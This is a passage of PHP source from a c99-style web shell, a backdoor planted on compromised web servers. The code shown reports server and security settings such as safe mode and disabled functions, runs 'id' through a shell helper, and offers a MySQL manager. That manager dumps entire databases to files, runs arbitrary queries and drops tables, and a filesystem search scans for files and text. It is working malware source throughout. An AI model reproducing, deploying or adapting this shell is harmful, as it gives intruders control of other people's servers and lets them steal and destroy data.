731 $onlytabs = $set["onlytabs"];
732 $ret = array();
733 $ret["err"] = array();
734 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
735 if (empty($db)) {$db = "db";}
736 if (empty($print)) {$print = 0;}
737 if (empty($nl2br)) {$nl2br = 0;}
738 if (empty($add_drop)) {$add_drop = TRUE;}
739 if (empty($file))
740 {
741 $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
742 }
743 if (!is_array($tabs)) {$tabs = array();}
744 if (empty($add_drop)) {$add_drop = TRUE;}
745 if (sizeof($tabs) == 0)
746 {
747 // retrive tables-list
748 $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
749 if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
750 }
751 $out = "# Dumped by ".$shver."
752# Home page: http://w4ck1ng.com
753#
754# Host settings:
755# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
756# Date: ".date("d.m.Y H:i:s")."
757# DB: \"".$db."\"
758#---------------------------------------------------------
759";
760 $c = count($onlytabs);
761 foreach($tabs as $tab)
762 {
763 if ((in_array($tab,$onlytabs)) or (!$c))
764 {
765 if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
766 // recieve query for create table structure
767 $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
768 if (!$res) {$ret["err"][] = mysql_smarterror();}
769 else
770 {
771 $row = mysql_fetch_row($res);
772 $out .= $row["1"].";\n\n";
773 // recieve table variables
774 $res = mysql_query("SELECT * FROM `$tab`", $sock);
775 if (mysql_num_rows($res) > 0)
776 {
777 while ($row = mysql_fetch_assoc($res))
778 {
779 $keys = implode("`, `", array_keys($row));
780 $values = array_values($row);
781 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
782 $values = implode("', '", $values);
783 $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
784 $out .= $sql;
785 }
786 }
787 }
788 }
789 }
790 $out .= "#---------------------------------------------------------------------------------\n\n";
791 if ($file)
792 {
793 $fp = fopen($file, "w");
794 if (!$fp) {$ret["err"][] = 2;}
795 else
796 {
797 fwrite ($fp, $out);
798 fclose ($fp);
799 }
800 }
801 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
802 return $out;
803}
804}
805if (!function_exists("mysql_buildwhere"))
806{
807function mysql_buildwhere($array,$sep=" and",$functs=array())
808{
809 if (!is_array($array)) {$array = array();}
810 $result = "";
811 foreach($array as $k=>$v)
812 {
813 $value = "";
814 if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
815 $value .= "'".addslashes($v)."'";
816 if (!empty($functs[$k])) {$value .= ")";}
817 $result .= "`".$k."` = ".$value.$sep;
818 }
819 $result = substr($result,0,strlen($result)-strlen($sep));
820 return $result;
821}
822}
823if (!function_exists("mysql_fetch_all"))
824{
825function mysql_fetch_all($query,$sock)
826{
827 if ($sock) {$result = mysql_query($query,$sock);}
828 else {$result = mysql_query($query);}
829 $array = array();
830 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
831 mysql_free_result($result);
832 return $array;
833}
834}
835if (!function_exists("mysql_smarterror"))
836{
837function mysql_smarterror($type,$sock)
838{
839 if ($sock) {$error = mysql_error($sock);}
840 else {$error = mysql_error();}
841 $error = htmlspecialchars($error);
842 return $error;
843}
844}
845if (!function_exists("mysql_query_form"))
846{
847function mysql_query_form()
848{
849 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
850 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
851 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
852 if ((!$submit) or ($sql_act))
853 {
854 echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
855 if ($tbl_struct)
856 {
857 echo "<td valign=\"top\"><b>Fields:</b><br>";
858 foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
859 echo "</td></tr></table>";
860 }
861 }
862 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
863}
864}
865if (!function_exists("mysql_create_db"))
866{
867function mysql_create_db($db,$sock="")
868{
869 $sql = "CREATE DATABASE `".addslashes($db)."`;";
870 if ($sock) {return mysql_query($sql,$sock);}
871 else {return mysql_query($sql);}
872}
873}
874if (!function_exists("mysql_query_parse"))
875{
876function mysql_query_parse($query)
877{
878 $query = trim($query);
879 $arr = explode (" ",$query);
880 /*array array()
881 {
882 "METHOD"=>array(output_type),
883 "METHOD1"...
884 ...
885 }
886 if output_type == 0, no output,
887 if output_type == 1, no output if no error
888 if output_type == 2, output without control-buttons
889 if output_type == 3, output with control-buttons
890 */
891 $types = array(
892 "SELECT"=>array(3,1),
893 "SHOW"=>array(2,1),
894 "DELETE"=>array(1),
895 "DROP"=>array(1)
896 );
897 $result = array();
898 $op = strtoupper($arr[0]);
899 if (is_array($types[$op]))
900 {
901 $result["propertions"] = $types[$op];
902 $result["query"] = $query;
903 if ($types[$op] == 2)
904 {
905 foreach($arr as $k=>$v)
906 {
907 if (strtoupper($v) == "LIMIT")
908 {
909 $result["limit"] = $arr[$k+1];
910 $result["limit"] = explode(",",$result["limit"]);
911 if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
912 unset($arr[$k],$arr[$k+1]);
913 }
914 }
915 }
916 }
917 else {return FALSE;}
918}
919}
920if (!function_exists("c99fsearch"))
921{
922function c99fsearch($d)
923{
924 global $found;
925 global $found_d;
926 global $found_f;
927 global $search_i_f;
928 global $search_i_d;
929 global $a;
930 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
931 $h = opendir($d);
932 while (($f = readdir($h)) !== FALSE)
933 {
934 if($f != "." && $f != "..")
935 {
936 $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
937 if (is_dir($d.$f))
938 {
939 $search_i_d++;
940 if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
941 if (!is_link($d.$f)) {c99fsearch($d.$f);}
942 }
943 else
944 {
945 $search_i_f++;
946 if ($bool)
947 {
948 if (!empty($a["text"]))
949 {
950 $r = @file_get_contents($d.$f);
951 if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
952 if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
953 if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
954 else {$bool = strpos(" ".$r,$a["text"],1);}
955 if ($a["text_not"]) {$bool = !$bool;}
956 if ($bool) {$found[] = $d.$f; $found_f++;}
957 }
958 else {$found[] = $d.$f; $found_f++;}
959 }
960 }
961 }
962 }
963 closedir($h);
964}
965}
966if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
967//Sending headers
968@ob_start();
969@ob_implicit_flush(0);
970function onphpshutdown()
971{
972 global $gzipencode,$ft;
973 if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
974 {
975 $v = @ob_get_contents();
976 @ob_end_clean();
977 @ob_start("ob_gzHandler");
978 echo $v;
979 @ob_end_flush();
980 }
981}
982function c99shexit()
983{
984 onphpshutdown();
985 exit;
986}
987header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
988header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
989header("Cache-Control: no-store, no-cache, must-revalidate");
990header("Cache-Control: post-check=0, pre-check=0", FALSE);
991header("Pragma: no-cache");
992if (empty($tmpdir))
993{
994 $tmpdir = ini_get("upload_tmp_dir");
995 if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
996}
997$tmpdir = realpath($tmpdir);
998$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
999if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
1000if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
1001else {$tmpdir_logs = realpath($tmpdir_logs);}
1002if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
1003{
1004 $safemode = TRUE;
1005 $hsafemode = "<font color=red>ON (secure)</font>";
1006}
1007else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
1008$v = @ini_get("open_basedir");
1009if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
1010else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
1011$sort = htmlspecialchars($sort);
1012if (empty($sort)) {$sort = $sort_default;}
1013$sort[1] = strtolower($sort[1]);
1014$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
1015if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
1016$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
1017@ini_set("highlight.bg",$highlight_bg); //FFFFFF
1018@ini_set("highlight.comment",$highlight_comment); //#FF8000
1019@ini_set("highlight.default",$highlight_default); //#0000BB
1020@ini_set("highlight.html",$highlight_html); //#000000
1021@ini_set("highlight.keyword",$highlight_keyword); //#007700
1022@ini_set("highlight.string",$highlight_string); //#DD0000
1023if (!is_array($actbox)) {$actbox = array();}
1024$dspact = $act = htmlspecialchars($act);
1025$disp_fullpath = $ls_arr = $notls = null;
1026$ud = urlencode($d);
1027?>
1028
1029<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title>shell@<?php echo getenv("HTTP_HOST"); ?></title><STYLE>
1030TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}
1031.style1 {
1032 color: #FF0000;
1033 font-weight: bold;
1034}
1035.style2 {font-size: -3}
1036</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><div align="center"><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"></p>
1037</th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>System Info:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><? echo "<b>Disabled functions</b>: <b>";
1038if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} ?><p align="left"><b>We are: <?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?><?php $curl_on = @function_exists('curl_version');
1039echo "<br/>cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>OFF</font>")); ?></br><? if(@ini_get("register_globals")){$reg_g="<font color=green>ON</font>";}else{$reg_g="<font color=red>OFF</font>";} echo("<b>Register globals:</b> $reg_g"); ?><?php echo "<br/>MySQL: <b>";
1040$mysql_on = @function_exists('mysql_connect');
1041if($mysql_on){
1042echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; }
1043echo "</b>";
1044echo "<br/>MSSQL: <b>";
1045$mssql_on = @function_exists('mssql_connect');
1046if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} ?><?php echo "<br/>PostgreSQL: <b>";
1047$pg_on = @function_exists('pg_connect');
1048if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} ?><?php echo "<br/>Oracle: <b>";
1049$ora_on = @function_exists('ocilogon');
1050if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} ?> </b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
1051$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
1052if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
1053$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
1054if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
1055$d = str_replace("\\\\","\\",$d);
1056$dispd = htmlspecialchars($d);
1057$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
1058$i = 0;
1059foreach($pd as $b)
1060{
1061 $t = "";
1062 $j = 0;
1063 foreach ($e as $r)
1064 {
1065 $t.= $r.DIRECTORY_SEPARATOR;
1066 if ($j == $i) {break;}
1067 $j++;
1068 }
1069 echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
1070 $i++;
1071}
1072echo "&nbsp;&nbsp;&nbsp;";
1073if (is_writable($d))
1074{
1075 $wd = TRUE;
1076 $wdt = "<font color=green>[ ok ]</font>";
1077 echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
1078}
1079else
1080{
1081 $wd = FALSE;
1082 $wdt = "<font color=red>[ Read-Only ]</font>";
1083 echo "<b>".view_perms_color($d)."</b>";
1084}
1085if (is_callable("disk_free_space"))
1086{
1087 $free = disk_free_space($d);
1088 $total = disk_total_space($d);
1089 if ($free === FALSE) {$free = 0;}
1090 if ($total === FALSE) {$total = 0;}
1091 if ($free < 0) {$free = 0;}
1092 if ($total < 0) {$total = 0;}
1093 $used = $total-$free;
1094 $free_percent = round(100/($total/$free),2);
1095 echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
1096
1097}
1098echo "<br>";
1099echo "<b>Your ip: <a href=http://".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>";
1100$letters = "";
1101if ($win)
1102{
1103 $v = explode("\\",$d);
1104 $v = $v[0];
1105 foreach (range("a","z") as $letter)
1106 {
1107 $bool = $isdiskette = in_array($letter,$safemode_diskettes);
1108 if (!$bool) {$bool = is_dir($letter.":\\");}
1109 if ($bool)
1110 {
1111 $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
1112 if ($letter.":" != $v) {$letters .= $letter;}
1113 else {$letters .= "<font color=green>".$letter."</font>";}
1114 $letters .= " ]</a> ";
1115 }
1116 }
1117 if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
1118}
1119if (count($quicklaunch) > 0)
1120{
1121 foreach($quicklaunch as $item)
1122 {
1123 $item[1] = str_replace("%d",urlencode($d),$item[1]);
1124 $item[1] = str_replace("%sort",$sort,$item[1]);
1125 $v = realpath($d."..");
1126 if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
1127 $item[1] = str_replace("%upd",urlencode($v),$item[1]);
1128 echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
1129 }
1130}
1131echo "</p></td></tr></table><br>";
1132if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
1133echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
1134if ($act == "") {$act = $dspact = "ls";}
1135if ($act == "sql")
1136{
1137 $sql_surl = $surl."act=sql";
1138 if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
1139 if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
1140 if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
1141 if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
1142 if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
1143 $sql_surl .= "&";
1144 ?><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
1145 if ($sql_server)
1146 {
1147 $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
1148 $err = mysql_smarterror();
1149 @mysql_select_db($sql_db,$sql_sock);
1150 if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
1151 }
1152 else {$sql_sock = FALSE;}
1153 echo "<b>SQL Manager:</b><br>";
1154 if (!$sql_sock)
1155 {
1156 if (!$sql_server) {echo "NO CONNECTION";}
1157 else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
1158 }
1159 else
1160 {
1161 $sqlquicklaunch = array();
1162 $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
1163 $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
1164 $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
1165 $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
1166 $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
1167 $sqlquicklaunch[] = array("Logout",$surl."act=sql");
1168 echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
1169 if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
1170 echo "</center>";
1171 }
1172 echo "</td></tr><tr>";
1173 if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"><br/></font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
1174 else
1175 {
1176 //Start left panel
1177 if (!empty($sql_db))
1178 {
1179 ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."w4/act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
1180 $result = mysql_list_tables($sql_db);
1181 if (!$result) {echo mysql_smarterror();}
1182 else
1183 {
1184 echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
1185 $c = 0;
1186 while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
1187 if (!$c) {echo "No tables found in database.";}
1188 }
1189 }
1190 else
1191 {
1192 ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
1193 $result = mysql_list_dbs($sql_sock);
1194 if (!$result) {echo mysql_smarterror();}
1195 else
1196 {
1197 ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
1198 $c = 0;
1199 $dbs = "";
1200 while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
1201 echo "<option value=\"\">Databases (".$c.")</option>";
1202 echo $dbs;
1203 }
1204 ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
1205 }
1206 //End left panel
1207 echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
1208 //Start center panel
1209 $diplay = TRUE;
1210 if ($sql_db)
1211 {
1212 if (!is_numeric($c)) {$c = 0;}
1213 if ($c == 0) {$c = "no";}
1214 echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
1215 if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
1216 echo "</b></center>";
1217 $acts = array("","dump");
1218 if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
1219 elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
1220 elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
1221 elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
1222 elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
1223 elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
1224 elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
1225 elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
1226 elseif ($sql_tbl_act == "insert")
1227 {
1228 if ($sql_tbl_insert_radio == 1)
1229 {
1230 $keys = "";
1231 $akeys = array_keys($sql_tbl_insert);
1232 foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
1233 if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
1234 $values = "";
1235 $i = 0;
1236 foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
1237 if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
1238 $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
1239 $sql_act = "query";
1240 $sql_tbl_act = "browse";
1241 }
1242 elseif ($sql_tbl_insert_radio == 2)
1243 {
1244 $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
1245 $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
1246 $result = mysql_query($sql_query) or print(mysql_smarterror());
1247 $result = mysql_fetch_array($result, MYSQL_ASSOC);
1248 $sql_act = "query";
1249 $sql_tbl_act = "browse";
1250 }
1251 }
1252 if ($sql_act == "query")
1253 {
1254 echo "<hr size=\"1\" noshade>";
1255 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
1256 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
